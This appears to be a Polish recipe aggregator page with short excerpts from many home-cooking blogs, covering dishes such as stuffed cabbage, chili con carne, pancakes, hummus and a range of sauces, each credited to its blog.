Gołąbki bez zawijania, albo jak ktoś woli golabki ala kotlety, pszyne i znacznie mniej pracochłonne niż te tradycyjne. Polecam zwłaszcza osobom, lubiącym połączenie gołąbków z sosem pomidorowym. Składniki: 400 g łopatki wieprzowej 100 g ryżu  300 g kapusty włoskiej ( jasna część) 1 mała cebula 1 puszka pomidorów pelati (300 g) lub 3 świeże pomidory bez skórki 1 łyżka masła

Gosia gotuje
Domowy fast food 205

Składniki: 1 kg ziemniaków Irys 0,6 kg pieczeni wołowej 1 główka kapusty pekińskiej kilka pomidorków koktajlowych olej rzepakowy do smażenia frytek Marynata do mięsa: 2-3  łyżki sosu walchester 2 łyżki oliwy 1 łyżeczka papryki ostrej w proszku 1 łyżka soku z cytryny 1/2 łyżeczki kuminu  1/2 łyżeczki sproszkowanej kolendry 2 zabki czosnku wyciśniętego przez praskę Dresing

Gosia gotuje
Gołąbki z grzybami i kuskusem w sosie paprykowym 194

sól i pieprz do smaku szczypta sproszkowanego ziela angielskiego 1 łyżka otartego oregano 1,5 szklanki wody 3  łyżki masła sól i pieprz do smaku Składniki  na sos: 2  duże czerwone słodkie papryki 1 papryczka ostra koperek 1 łyżka otartego oregano 1 ząbek czosnku 1 szklanka bulionu drobiowego ( u mnie z bulionetki ) Przygotowanie: Zagotować w garnku wodę

Gosia gotuje
Podgrzybki w sosie śmietanowo-koperkowym 155

też na Wigilę. Składniki: około 1 kg grzybów leśnych ( u mnie  mrożone podgrzybki ) 1 łyżka oleju 1 łyżka masła 150 ml śmietany słodkiej 18% ( takiej do zup i sosów)  pęczek koperku ( bez twardych gałązek) kilka gałązek szczypiorku sól do smaku Składniki: około 1 kg grzybów leśnych ( u mnie  mrożone podgrzybki ) 2 duże cebule 1 łyżka oleju

Gosia gotuje
Sałatka z pęczaku z fetą i granatem 205

goracej wodzie, odsączyć i dodać do miski. Na koniec wrzucić porwane listki pietruszki i rozdrobnioną fetę. Do słoiczka przełożyć wszystkie skladniki dresingu, zakręcić i bardzo dokładnie wymieszać. Tak przygotowanym sosem polać sałatkę,wymieszać i odstawić na minimum 15 minut aby smaki się połączyły.  Można podawać...Smacznego

Gosia gotuje
Kurczak w kokosowej panierce 150

Kolejny raz kurczak gości na talerzach moich domowników i moim.Tym razem zmodyfikowałam nieco jego smak sosem tabasco i wiórkami kokosowymi w roli panierki. Przyznam, że było pysznie i Tato niejadek też nie marudził, co jest zawsze dla mojej Mamy i dla mnie największym komplementem. Składniki: 4 udka z kurczaka (1 kg) 2 łyżeczki przyprawy tandori masala 1 łyżka drobno startego

Gosia gotuje
Śledzie z granatem i rodzynkami 193

Wrzucamy do miski, dodajemy pokrojojną, przetartą cukrem cebulę, ziarenka granatu, rodzynki i pokrojone drobniutko chili. W miseczce łączymy olej, miód, sok z cytryny i grubo zmielony pieprz. Tak przygotowanym sosem polewamu śledzie.Mieszamy i pozostawiamy na minimum kilkanaście minut dp polaczenia się smakow.                 Smacznego

Gosia gotuje
Karczek duszony w miodzie i ciemnym piwie 151

popieprzyć do smaku. Przykryć pokrywką i dusić na małym ogniu przez około godzinę. Cebulą zrobi się mięciutka, puści soki i powstanie z niej w połączeniu z piwem mnóstwo pysznego sosu. Danie jest gotowe do podania bezpośrednio po przygotowaniu. Mi najbardziej smakuje z pieczywem, ale moja Mama woli ziemniaczki, decyduje kwestia gustu, jak zawsze. Życzę smacznego

Gosia gotuje
Chili con carne 248

papryki. Smażć około 10 minut od czasu do czasu mieszając. Dorzucić pomidory z puszki wraz z zalewą i odcedzoną fasolę. Gotować na wolnym ogniu przez kolejne 15 minut, aż sos odparuje i zgęstnieje. Dodać sól, pieprz, wędzoną paprykę wymieszać i pozostawić na ogniu jeszcze 2-3 minuty. Na końcu dodać oliwki, listki kolendry i skropić sokiem z jednej limonki

Gosia gotuje
Sernik chałwowy ( ..i słów kilka o urządzeniu Chop&Blend Aura od Russell Hobbs ) 303

otrzymałam od firmy Russell Hobbs , a zwie się ono Chop&Blend Aura . Co kryje się pod tą nazwą ? Producent zapewnia, że jeśli kochasz dipy i samodzielnie przygotowywane sosy, to urządzenie jest dla Ciebie urządzeniem obowiązkowym. Ja dodam, że jeśli kochasz koktajle owocowe, wszelkie zupy krem i inne "mikstury" - to urządzenie jest dla Ciebie. Ale to nie wszystko, bo Chop

kolorowotorcikowo
Kolorowa sałatka na szare dni 672

Posyp ziarenkami Chia- dzienna dawka to łyżka! Dodaj pozostałe składniki z listy. Posól do smaku, dosmacz oliwą. Zrób wzorki z glassy sojowej- to nie tylko wzór, ale wspaniały smak sosu sojowego i octu balsamicznego z Modeny. Możesz dodać majonez dekoracyjny jeśli chcesz. Dodaj natki pietruszki oraz nasion dyni. Posyp Piekłem-Niebem- kompozycją prażonych ziaren Ziarenkowa. Suszone pomidory i oliwki dodadzą

Z Kuchni Do Kuchni
Crepes Suzzete w porto 225

delikatnie, ale w miarę obficie porto i kiedy zacznie wrzeć podpalić je zapałką. Cukier ma się skarmelizować, a płomień należy ugasić polewając całość za pomocą łyżki pływającym na patelni sosem

W kuchni wieczorem
Placki ze szpinakiem 285

gałką muszkatałową. Dodać szpinak, wymieszać. Odstawić ciasto na 10 minut przed wyłożeniem na patelnię raz jeszcze zamieszać i usmażyć na mocno rozgrzanym tłuszczu 8 placuszków. Podawać z surówką lub sosem                                                     ŻYCZĘ SMACZNEGO

Gotuj zdrowo!Guten Appetit!
Pancakes malinowo-truskawkowe 161

jajko Rozgrzewany patelnię*. W misce umieszczamy wszystkie składniki i łyżką dokładnie mieszamy. Nakładamy małe porcje i smażymy równomiernie z każdej strony.  Podajemy na ciepło z jogurtem naturalnym oraz sosem truskawkowym lub dżemem. Smacznego! *jeśli patelnia nie jest teflonowa lub ceramiczna do smażenia używamy niewielkiej ilości oleju

Chocolate Muffin Blog
Owsianka czekoladowa z orzechami laskowymi - jak Nutella 209

Dziś na blogu bardzo czekoladowo! W zasadzie, zamieściłam swoje całe dzisiejsze menu :) Rano ta owsianka, na drugie śniadanie smoothie malinowy , obiad to kurczak w sosie pomidorowym , jako podwieczorek przygotowałam kawę korzenno-czekoladową , a na kolację omlet białkowy . Zapraszam, może któryś przepis Was zainspiruje :) ... a co do owsianki nie trzeba wiele pisać - everything is good, if it's made of chocolate

Chocolate Muffin Blog
Klasyczne pancakes amerykańskie 187

Tradycyjne, amerykańskie pancakes. Bardzo popularne w USA i Kanadzie, gdzie spożywane są z syropem klonowym, sosem czekoladowym lub dżemem. W oryginalnym przepisie jest zwykła mąka pszenna, ale ja pozwoliłam sobie użyć wersji pełnoziarnistej :) Bardzo polecam :) Składniki : 1 szklanka mąki pszennej (użyłam pełnoziarnistej) 3/4 szklanki mleka 1 jajko 30 g rozpuszczonego masła 1 i 1/2 łyżeczki proszku do pieczenia 3 łyżeczki

Chocolate Muffin Blog
ZUPA KREM KUKURYDZIANY 210

które lubią, więc do nas ona trafiła w 100%. Jest słodycz, jest ostrość, jest... prędkość i łatwość - jest dobrze! :) Kombinowałyśmy długo z uzyskaniem odpowiedniej konsystencji (bo najpierw wyszedł nam sos kukurydziany - fajny tak swoją drogą), ale dałyśmy radę.  Reasumując - jaka ona jest: - szybka, - łatwa, - rozgrzewająca, - kremowa, - słodko-ostra, - niedroga, - sycąca, :)) Co prawda gdy te ryby łowiłyśmy (czyt. gdy się

Wypisz Wymaluj
Belgijskie frytki 325

uzyskania pożądanego stopnia zrumienienia.  Dodatek cukru i podwójne smażenie powoduje że frytki są chrupiące i mają puszyste wnętrze. Podajemy posolone z ketchupem, z majonezem lub z dodatkiem wybranego sosu, lub jako dodatek do innych dań. Koszt: zależnie ile razy używamy jednego tłuszczu (oczywiście najzdrowiej jest wymieniać po każdym użyciu) oscyluje w granicach 1.50 zł za porcję. PS. Skąd nazwa

Tanie przepisy studenckie
Burrito 186

środek tortilli i zawijamy ją w kopertę. Po zawinięciu można ją dodatkowo zapiec na grillu elektrycznym ale nie jest to konieczne. Podajemy samo, z dodatkiem sałatki, lub z sosami na bazie śmietany/jogurtu mającymi złagodzić pikantny smak burrito. Z podanych składników otrzymujemy 4 całkiem spore porcje. Na zdjęciu burrito przed zawinięciem Koszt porcji

Tanie przepisy studenckie
Piersi z kurczaka na dziko 505

pozwolić. Rozmaite przepisy są jednak często pracochłonne jak na przykład pierś panierowana tzw. "schabowy z kurczaka" lub w celu uzyskania dobrego smaku trzeba ponieść koszty na zakup sosów w słoikach (słodko-kwaśny, chiński). Według mojego przepisu uzyskamy studencki obiad w przyzwoitej cenie i nie narobimy się przy tym. Składniki: -kilogram piersi z kurczaka -jedno jajko -pół szklanki bułki tartej -ząbek

Tanie przepisy studenckie
Kurczak pieczony 328

wstawiamy kurczaka i pieczemy 15 minut, następnie zmniejszamy temperaturę do 180 stopni, na dno wlewamy ¾ szklanki wody i pieczemy przez ok 2 godziny, co jakiś czas polewając mięso wytworzonym sosem. Po upieczeniu odstawiamy kurczaka na 10 minut i porcjujemy według uznania. SMACZNEGO

kulinarnyswiatdomi
Mule w pomidorach 229

Błyskawiczna włoska propozycja na małże w aromatycznym sosie pomidorowym z dodatkiem cebulki, czosnku i pietruszki. Najlepsze są oczywiście świeże mule, ale mrożone również się nadadzą. Składniki: 1 kg świeżych oczyszczonych muli cebula 2-3 ząbki czosnku 50 ml białego wytrawnego wina puszka krojonych pomidorów pęczek natki pietruszki sól i świeżo mielony pieprz papryczka chilli - opcjonalnie 2 łyżki oliwy Cebulkę

wyzwania kuchenne
Tańcował Pan gulasz z kaszą, pyrą oraz pajdą chleba 212

wycinamy zbędne błonki, tłuszcz. Kroimy w kostkę w marę równą, będą nam się równomiernie dusiły. Mięso doprawiamy przyprawami i obtaczamy całość mąką. Obtoczenie na tym etapie mąką spowoduję, że sos w fazie końcowej będzie gęsty. Tak przygotowane mięso obsmażamy porcjami na patelni z każdej strony do lekkiego zrumienienia. Całość przerzucamy do brytfanki gdzie wcześniej wlałam ok 2 łyżki oleju

Basia w kuchni
Sole Meuniere 183

się zarumieni zdjąć patelnię z ognia i wlać na nią sok z połowy cytryny. Na patelnię do ryby dodać warzywa, posypać całość świeżą natką pietruszki i polać przygotowanym cytrynowym sosem

W kuchni wieczorem
PYZY DROŻDŻOWE, PAMPUCHY, KLUSKI NA PARZE, NA MĄCE ORKISZOWEJ 274

sitko następne. Uwaga: kontrolujmy stan wody, jest jej bowiem niewiele a czas gotowania jest dość długi. Najlepiej co jakiś czas dolewać wrzącą wodę. Takie pyzy najlepiej smakują podane do sosu pieczeniowego np. z kaczki, gęsi lub innych smażonych mięs. Smacznego

Smaczne Zdrowe
Tagliatelle ze szpinakiem i piersią z kurczaka 319

dodatku tłuszczu). Pozostałą część jogurtu podgrzać w rondelku wraz z gałką muszkatołową, wyciśniętym przez praskę czosnkiem, posiekaną bazylią oraz pieprzem, a następnie dodać liście szpinaku. Ugotowany makaron wymieszać z sosem ze szpinakiem, dodać pokruszony ser Feta. Na wierzchu układać kawałki kurczaka, całość posypać drobno posiekanymi orzechami. Smacznego

Fit-amina
Dzisiaj, jak uprzedzaliśmy coś trudniejszego :) 155

umyty szpinak, pokrojone w kostkę pomidory, łyżkę kukurydzy z puszki i pokrojoną w piórka cebulę. Doprawić pieprzem, oliwą i octem balsamicznym lub owocowym. Wymieszać. Do gołąbków idealnie pasuje tajski sos słodko-kwaśny z chili. Smacznego :) Ps. Jeśli zrobicie to danie nie zapomnijcie się pochwalić

vegetanie
Witajcie w poniedziałek :) 161

podajemy w dwóch wersjach: z twarożkiem, pomidorami, papryką i cebulą oraz druga: z twarożkiem, dżemem z borówek lub innym, jaki akurat macie w lodówce.  Możemy podać dodatkowo domowy sos Tzatziki. Shake malinowy  (4 osoby) 1 jogurt naturalny typu greckiego 2 lody (tzw. kanapka) 1 kubek półlitrowy malin 1 łyżka cukru Jogurt, maliny, cukier wrzucamy do blendera lub miksera

vegetanie
Piątkowy makaron :) 156

wszystko jogurtem i doprawiamy ziołami oraz pieprzem. Jeśli jogurt zważy się, to nie ma problemu, możecie delikatnie zagęścić go mąką rozrobioną w wodzie. Całość mieszamy z makaronem tak, żeby sos dobrze okleił makaron. Gotowe :) Smacznego i życzymy Wam miłego weekendu

vegetanie
Fasolowy sezon :) 142

podgrzewamy olej ryżowy, wrzucamy pokrojoną drobno cebulę i smażymy na złoty kolor. Odstawiamy, lekko solimy, dodajemy przeciśnięty czosnek, mieszamy, polewamy odcedzoną fasolkę i mieszamy. Podajemy gorącą do kul ryżowych. Sos czosnkowo-pomidorowy przygotowujemy z jogurtu naturalnego. Dodajemy 2-3 ząbki czosnku, pieprz, łyżeczkę koncentratu pomidorowego. Wszystko razem mieszamy i gotowe :) Smacznego

vegetanie
Makaron z białym serem. 171

Witajcie :) Dzisiaj kolejna propozycja dla naszych milusińskich :) Nasza propozycja na koniec dnia: makaron z białym serem polany sosem z owoców leśnych :) Mniammmm :P Oczywiście jak zawsze kolorowo, nasze dzieci to uwielbiają i mamy nadzieję, że Wasze też pokochają to danie. Makaron z serem (4 osoby) 1 opakowanie makaronu łazanki lub świderki, do wyboru. 1 opakowanie sera twarogowego

vegetanie
Spaghetti puttanesca :) 187

pieprz, dusimy razem jeszcze 3-4 min. My już nie solimy ponieważ pomidory w puszkach z reguły są solonee, poza tym makaron również gotowaliśmy w osolonej wodzie. Na koniec sos wlewamy ugotowanego makaronu i wszystko razem mieszamy. Polewamy odrobiną oliwy z oliwek i posypujemy pokrojonym szczypiorkiem. Danie jest gotowe :) Smacznego

vegetanie
Powiew Meksyku - tortilla z warzywami. 181

drobną kostkę i przekładamy do miski, paprykę, cebulę i jalapeno kroimy w kostkę i dodajemy do pomidorów, doprawiamy pieprzem, solą i tymiankiem. Na koniec dodajemy nieco passaty, aby sos miał gęstszą konsystencję, polewamy oliwą z oliwek. Możemy zrobić wersję na ciepło i wtedy wszystko dusimy razem ok. 10 min. Życzymy smacznego :) Saludos

vegetanie
Kotlety serowe :) 153

stanie się miękki. Podajemy z ziemniakami pure i kalafiorem. Możecie oczywiście podawać z czym Wam lepiej smakuje, np. z ryżem, kuskus czy inna opcja. Do kotletów najlepiej dodać jogurtowy sos czosnkowy :) Prawda, że szybki i łatwy obiadek ? Pozdrawiamy i życzymy smacznego

vegetanie
Zielone kopytka, czyli kluski ze szpinakiem :) 191

wtedy gotować jeszcze 2-3 minuty. Kluski odcedzić na sicie i lekko przelać zimną wodą. Starajcie się gotować kluski w szerokim garnku, aby miały luz :) Podajemy z klasycznym sosem pieczarkowym lub innym, jeśli lubicie. Życzymy smacznego

vegetanie
Curry z warzywami i ryżowe kotlety :) 194

przesadzajcie z ilością wody :) po ok. 10 minutach dodajemy sporą ilość roztartego w dłoniach tymianku i doprawiamy solą, i pieprzem do smaku. Dosypujemy również wiórki kokosowe, które zagęszczą nam sos i nadadzą południowej nuty smakowej :) Na koniec dodajemy dużą łyżkę jogurtu naturalnego. Mieszamy i ew. dodajemy ostrej papryki lub pieprzu cayenne, jeśli lubicie ostre curry. Potrawa jest gotowa :) Teraz czas

vegetanie
Brokułowe kąski w cieście naleśnikowym. 214

między czasie ziemniaczki nam się już zezłociły i możemy je wyciągnąć z piekarnika, i podawać na talerze z pomidorami i brokułami. Jeśli lubicie, można do brokułowych kąsków dodatkowo zrobić sos czosnkowy.  Na pewno będzie wyśmienitym dodatkiem do tego dania. Mamy nadzieję, że narobiliśmy Wam super smaku na to danie i chętnie je przygotujecie u siebie w domu

vegetanie
Hummus w innej odsłonie 148

wrzucamy do pojemnika, gdzie będziemy wszystko miksować lub blendować. Do papryki dodajemy resztę składników uprzednio dobrze płukając cieciorkę. Możecie również pokroić oliwki. Doprawiamy pieprzem, ostrą papryką i odrobiną sosu sojowego. Wszystko miksujemy i pasta jest gotowa. Wyszła wyśmienita :) POLECAMY ! Zobaczcie jak pięknie wygląda. Życzymy miłego dnia

vegetanie
Pomidorowy makaron z warzywami. 175

fety. Doprawiamy pieprzem i przetartym w dłoniach tymiankiem. Dusimy chwilkę, aż rozpuszczą się oba sery i wyłączamy ogień.  W miedzy czasie gotujemy makaron al dente. Odcedzamy i mieszamy sos z makaronem, aby dobrze pokrył cały makaron. Na koniec posypujemy danie resztą fety. Danie jest gotowe, a minęło jakieś 20 min. Szybko prawda ? Życzymy smacznego i miłego weekendu

vegetanie
Ziemniaki z kieszonkami. 238

dużo i najlepszej jakości. Jedzcie ziemniaki, bo są bardzo smaczne i niezwykle zdrowe. My jesteśmy fanami pieczonych ziemniaków. Robimy różne kombinacje z nimi. Ta propozycja jest idealnym dodatkiem z sosem tzatziki. Do tego surówka i mamy super danie. Spróbujcie zrobić u siebie takie ziemniaki, bo są naprawdę super :). Będziemy co jakiś czas proponować kolejne propozycje ziemniaków na rożne sposoby

vegetanie
Czerwone pierogi z kapustą i pęczakiem. 168

proponujemy ugotować go w bulionie warzywnym. Do kapusty i pęczaku dodajemy przesmażone razem pieczarki i cebulę, wcześniej drobno pokrojone. Pieczarki z cebulą możemy w trakcie smażenia skropić delikatnie grzybowym sosem sojowym, aby podbić smak grzybów. Całość doprawiamy przyprawami i na koniec wsypujemy garść płatków owsianych. Mieszamy dokładnie wszystko i farsz mamy gotowy :) Ciasto wałkujemy i kroimy na kwadraty o boku

vegetanie
Pasta z batata i cieciorki z migdałami. 148

szklanki słoneczniku, łuskanego rzecz jasna 1/4 szklanki płatków migdałów 2 ząbki czosnku sok z 1/2 limonki 4-5 łyżek wody oliwa z oliwek ok. 2-3 łyżki parę kropel sosu sojowego tymianek, ostra papryka, Zaczynamy od ugotowania batata na miękko. Kiedy już ostygnie dodajemy do niego soczewicę wcześniej opłukaną wodą. Dosypujemy resztę składników, przyprawiamy i wszystko ładnie traktujemy blenderem

vegetanie
Omlet wspaniały !!! Czyli jajka ze szpinakiem i roszponką. 155

koniec wysypujemy garść roszponki. Jeszcze na chwilę przykrywamy omleta, aby roszponka zmiękła. Wystarczy 2-3 minuty. Omleta zsuwamy na talerz i kroimy jak pizzę. Podajemy z surówką i sosem salsa. Surówkę zrobiliśmy oczywiście z pozostałej części roszponki, do której dodaliśmy 2 rzodkiewki, 1/4 rzodkwi lodowej, 2 łyżki kukurydzy, połowę szalotki i 6 pokrojonych w kostkę winogron. Wszystko polaliśmy oliwą

vegetanie
Marchewka z groszkiem w białym sosie z gorgonzolą. 185

szpinakiem. Teraz nam smakuje, a kiedyś był nie do przełknięcia. Macie podobne wspomnienia ? Może już dość wspomnień i skupmy się na przystawce :)   Marchewka z groszkiem w białym sosie.  Składniki: 1/2 opakowania mrożonego groszku z marchewką 1 słodka śmietanka ok. 150 ml 1/2 opakowania gorgonzoli 1/2 szklanki dobrego żółtego sera w typie Mazdamer oliwa z oliwek pieprz, tymianek, ostra

vegetanie
Drożdżowe ciasteczka tymiankowe. 202

smarujemy koncentratem pomidorowym i posypujemy tymiankiem. Pieczemy do zrumienienia i gotowe :) Ciasto nie zmarnowało się, a my mamy dodatkową przekąskę na stół. Szczególnie smakują dzieciom. Oczywiście podajemy z rożnymi sosami. Jeśli chcielibyście zrobić tylko te ciasteczka, to przepis na ciasto znajdziecie TUTAJ A oto i nasze ciasteczka. Jedzcie na zdrowie i bawcie się w trakcie karnawału

vegetanie
Zielony hummus ze świeżym młodym jęczmieniem 168

młodego jęczmienia w proszku 2 łyżki słonecznika 2 łyżki migdałów krojonych 2 łyżki oliwy z oliwek 2 duże ząbki czosnku sok z 1/2 limonki odrobina pasty chili woda pieprz sos sojowy Wszystkie składniki, poza słonecznikiem i migdałami, wrzucamy do miski i  blendujemy na gładką masę stopniowo dodając wodę, aby wyszła nam lekka gładka masa. Słonecznik z migdałami wrzucamy

vegetanie
Papryki faszerowane kuskusem i warzywami. 171

oliwą z oliwek, układamy gałązki tymianku lub posypujemy tymiankiem i wstawiamy na ok. 25 min. do piekarnika nagrzanego do 180 C. Papryczki podajemy z ryżem basmati i słodkim tajskim sosem chili. Polecamy wypróbowanie tego przepisu. Papryczki wyszły naprawdę wyśmienite. Pozdrawiamy

vegetanie
Spaghetti z białym serem 252

oleju). Dodać posiekaną cebulę oraz drobno posiekany czosnek. Chwilę podsmażyć, dodać pomidory wraz z zalewą oraz przyprawy. Na koniec doprawić do smaku solą i pieprzem. Makaron podawać wraz z sosem, na wierzchu posypać pokruszonym białym serem

Z miłości do słodkości
Łosoś w syropie klonowym 202

Syrop klonowy jest idealnym środkiem słodzącym stosowanym do deserów. Dodaje również rewelacyjnego smaki wielu mięsom, może być również składnikiem wielu marynat i sosów. Składniki: ½ kg filetów z łososia ze skórą do marynaty: 1 łyżka syropu klonowego 1 łyżka oleju sezamowego 1 łyżka musztardy 1 łyżeczka ulubionej przyprawy do ryb ¼ łyżeczki świeżo zmielonego czarnego pieprzu pęczek świeżego koperku, drobno posiekanego Przygotowanie

naRuszcie
Zapiekane cannelloni z parówkami 326

zawsze muszą być podane na śniadanie, można z nich również wyczarować bardzo smaczne i naprawdę ciekawe danie obiadowe :) Moja propozycja, to parówki nadziane w rurki makaronowe i zapiekane w sosie pomidorowym z dodatkiem ogórka kiszonego oraz posypane rozpływającą się warstwą żółtego sera, czyli taka  wersja De Lux ;))) Zachęcam do wypróbowania, nie tylko ze względu na prostotę przygotowania, ale również

Kraina Miodem Płynąca
Pizza z pieczarkami i kiełbasą 278

bazylią. Można zrobić dwie mniejsze pizze albo jedną dużą. Ja zrobiłam jedną dużą a więc ciasto  rozwałkowałam tak aby zmieściło się na blasze od piekarnika. Ciasto polałam sosem pomidorowym, którym pokryłam całą pizze (omijają brzegi). Na to ułożyłam kiełbasę, cebulę, pieczarki, paprykę i pomidorki. Pizze piekłam w piekarniku rozgrzanym do 200C przez około 15 min. Pod koniec pieczenia pizze

Amatorka kuchenna
Sałatka z makaronem ryżowym 281

opakowanie makaronu ryżowego pęczek rzodkiewki pęczek kopru 1 czerwona papryka  20-25 dag szynki drobiowej ogórek zielony ( 1 duży szklarniowy lub 3-4 gruntowe) sól oraz pieprz  Sos: 2 łyżki majonezu 3 łyżki jogurtu naturalnego    Przygotowanie: Sposób przygotowania tej sałatki jest bardzo prosty. Makaron ryżowy gotujemy według zaleceń etykiety często mieszając bo łatwo przywiera

Sprawdzone przepisy kulinarne
Serduszkowy gulasz 197

koncentrat i marchewkę. Gotować na małym ogniu, aż serca będą miękkie.Pod koniec gotowania dodać mąkę wymieszaną z małą ilością zimnej wody i wymieszać.Gotować ok. 1 min, aż sos zgęstnieje. W razie potrzeby doprawić do smaku

Moje domowe kucharzenie
Pasta jajeczna 182

Składniki:  5 jajek  pół ogórka zielonego  1 łyżeczka masła  pęczek szczypiorku 1 cebula dymka lub 1 nieduży por ( tylko część biała)  sól oraz pieprz Sos: 3 łyżki majonezu      Przygotowanie: Jajka gotujemy na twardo ( muszą być twarde) i dobrze studzimy. Szczypior siekamy, a cebulkę lub pora kroimy w kosteczkę/paseczki ( sparzamy wrzątkiem). Ogórka

Sprawdzone przepisy kulinarne
Arroz de Polvo czyli Potrawka z ośmiornicy z ryżem 244

kuchni portugalskiej nie brakuje. Powiedziałabym że Arroz de Polvo to taka paella hiszpańska lub risotto włoskie, pyszne i sycące. Ryż stanowiący składnik potrawy powinien pływać w dużej ilości sosu - taki sposób przygotowania zwany jest malandrinho. Zapraszam na potrawkę z ośmiornicy z ryżem po portugalsku. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Jak zrobić kluseczki do zup? 225

Bardzo lubię kluseczki. Do zup, sosów. Tak mnie jakoś naszło i szybko dziś zrobiłem do mojej zupy paprykowej. Jak je przygotować? -jajko -100 gram mąki TYP550 -woda, dwie łyżki -sól -olej rzepakowy -szczypta kurkumy Możecie zrobić większą ilość, pamiętajcie tylko, że na 100 gram mąki trzeba użyć jednego jajka. Do przesianej mąki ze szczyptą soli i kurkumy wbijamy jajko

BaRepas
Quiche z brokułami i porem 344

spróbowałam Quiche z szynką, pieczarkami i żółtym serem postanowiłam zmodyfikować farsz na jarski. Z sosem serowym- niebo w gębie! Przepis na ciasto kruche znajdziecie tutaj Składniki na farsz: 500g brokuła, 1/2 białej części pora, 3 jajka, 200ml śmietany 30%, 150g startego żółtego sera, 1 łyżeczka soli, 1 łyżeczka cukru, ulubione przyprawy. Brokuł dzielimy na różyczki i dokładnie myjemy w zimnej

Pudełko rozmaitości
Zrazy wołowe zawijane z boczkiem i ogórkiem 273

podsmażamy pokrojoną cebulę. Przekładamy ją do zrazów i podlewamy bulionem. Wrzucamy kilka ziaren ziela angielskiego i liści laurowych. Dusimy pod przykryciem na małym ogniu do miękkości - około godzinę. Powstały sos możemy podbić niewielką ilością mąki i śmietany. Pyszne zrazy gotowe :)  Smacznego

Moje Kuchenne Rewelacje
Kiełbasa drobiowa o smaku curry 345

nieco bardziej sucha niż wieprzowa biała kiełbasa, ale to wynik braku tłustych kawałków. Ostrość kiełbasy regulujemy dodając więcej lub mniej pieprzu kajeńskiego. Podajemy ciepłe z ryżem i np dowolnym sosem jogurtowym Na podstawie przepisu z  książki "Domowy wyrób kiełbas" Susan Mahnke Peery i Charles G. Reavis. składniki 500 g filet  z piersi indyka lub mieszane jasne i ciemne

Stare Gary
Placuszki z bananami 365

gładką masę. Banany obierz i rozgnieć widelcem, dodaj do masy. Z przygotowanej masy smaż placuszki na odrobinie oleju z każdej strony, aż nabiorą złotego koloru. Placuszki można polać sosem czekoladowym, albo innym waszym ulubionym dodatkiem :) SMACZNEGO

Kredowe Menu
Sałatka z KusKus 223

Składniki:  150 gram kuskus 1 cebulka dymka z szczypiorkiem 6 pomidorków koktajlowych 1 mała żółta papryka pół ogórka zielonego ( szklarniowego lub 2 gruntowe) sól oraz pieprz  Sos: 2 łyżki oliwy z oliwek ekstra Virginie 3 łyżki soku z cytryny    Przygotowanie:   Kolejna bardzo prosta w przygotowaniu, smaczna i zdrowa sałatka. Przyrządzamy kaszę kuskus ja do wody

Sprawdzone przepisy kulinarne
Drożdżowe naleśniki z budyniem i bananami 283

będą puszyste i delikatne, a zarazem elastyczne. Nadzienie natomiast to mieszanka budyniu o smaku bananowym, serka homogenizowanego, rodzynek i kawałków banana. Gotowe naleśniki dodatkowo można udekorować bitą śmietaną lub sosem czekoladowym. Inspiracje na te naleśniki znalazłam na stronie winiary.pl , ale ponieważ było w nim sporo niekonsekwencji, zmieniłam niektóre ilości składników. Drożdże pokruszyć i rozpuścić w niewielkiej ilości letniego mleka. Dodać

Świat Domowej Kuchni
Sos czosnkowy z koperkiem. 261

Jeden z popularniejszych sosów jednak wersji oczywiście jest wiele. W każdym razie ten domowy smakuje najlepiej. Wspaniały dodatek do mięs pieczonych i grillowanych, ale także np. do pizzy. Uwielbiam czosnek za wyrazisty smak :)   Składniki: 150 ml gęstego jogurtu naturalnego łyżka majonezu łyżka śmietany pół łyżeczki octu winnego 2 ząbki czosnku pół łyżeczki cukru sól, pieprz łyżeczka posiekanego koperku Przygotowanie

Symfonia smakowa
ZUPA KREM Z PIECZONYCH POMIDORÓW. SŁODKO - OSTRA. 215

garnek, miseczka/talerz/filiżanka/łyżka. Smaczna: Nie, nie jest smaczna. Ona jest przepyszna!!! Zdrowa: Nawet bardzo. Główne składniki to pomidory i czosnek - vademecum niżej. Uniwersalna: dwa machnięcia różdżką i mamy sos do spaghetti.  Rozgrzewająca: lepiej działa niż koc + kubek herbaty z cytryną i miodem. Lepiej niż kominek. No, jedynie z bokserem nie może konkurować. (Bokser ma przewagę bezapelacyjną!). Tania

Wypisz Wymaluj
Perliczka w winie z wolnowaru 257

winie. Ale jak to w ostatnich tygodniach w naszej kuchni bywa został uruchomiony wolnowar. Poza tym kurczaka zastąpiłam perliczką. Perliczka wyszła fantastycznie. Nie była przesuszona, miała dużo aromatu, sos świetny. Bardzo polecam na pyszny obiad. Wpomagałam się  tym  przepisem składniki 1 perliczka 1-2  łyżki mąki Sól i pieprz do smaku 80 g boczku wędzonego, pokrojony

Stare Gary
Gołąbki 194

gołąbki BARDZO ciasno, jeden przy drugim KROK 5: Podlać gołąbki na dnie bulionem lub wodą (aby się nie przypaliły) Gotować na średnim ogniu około 45 minut. Gotowe gołąbki polać sosem pomidorowym. Porada: Gotowe już gołąbki bardzo dobrze smakują podsmażone :). Na patelni rozgrzać około 2 łyżki oleju, podsmażać gołąbki ze wszystkich stron, dopóki nie nabiorą rumianego koloru. SMACZNEGO!!! Ilość

smacznieinatemat
KOTLETY SZARPANE Z KURCZAKIEM I MARCHEWKĄ 1184

kotlety szarpane z kurczaka z marchewką. Podane z ziemniakami, frytkami czy też ryżem są świetnym pomysłem na rodzinny obiad. Włożone do chrupiącej bułki z dodatkiem sałaty, cebulki i sosu czosnkowego są świetną alternatywą dla burgerów. Polecam! SKŁADNIKI: ( dla 2 osób ) * filet z kurczaka – 2 szt * duża cebula – 1 szt * marchew – 2 szt * jajko – 1 szt * mąka

Ostra na Słodko
Kurczak pieczony z nutą cytrynową i czosnkiem 290

mocno zarumieni. Może nawet trochę w niektórych miejscach się mocno przypiec, ale to nic. Mięso w środku będzie dzięki temu soczyste i upieczone Porcjujemy nożycami do mięsa Zjadamy :) A sosu nie wylewamy, bo polewamy nim ziemniaki :) Smacznego! :) W myśl akcji

www.szczesliwakuchnia.blogspot.com
Pomarańczowe pancakes 262

misce połączyć przesianą mąkę wraz z pozostałymi składnikami. Wymieszać. Gdyby ciasto było zbyt gęste to dodać więcej mleka lub soku.  Pancakes'y smażyć na suchej patelni. Podawać z sosem pomarańczowym, miodem lub syropem

Pasja Smaku
Krewetki w sosie winno - cebulowym 229

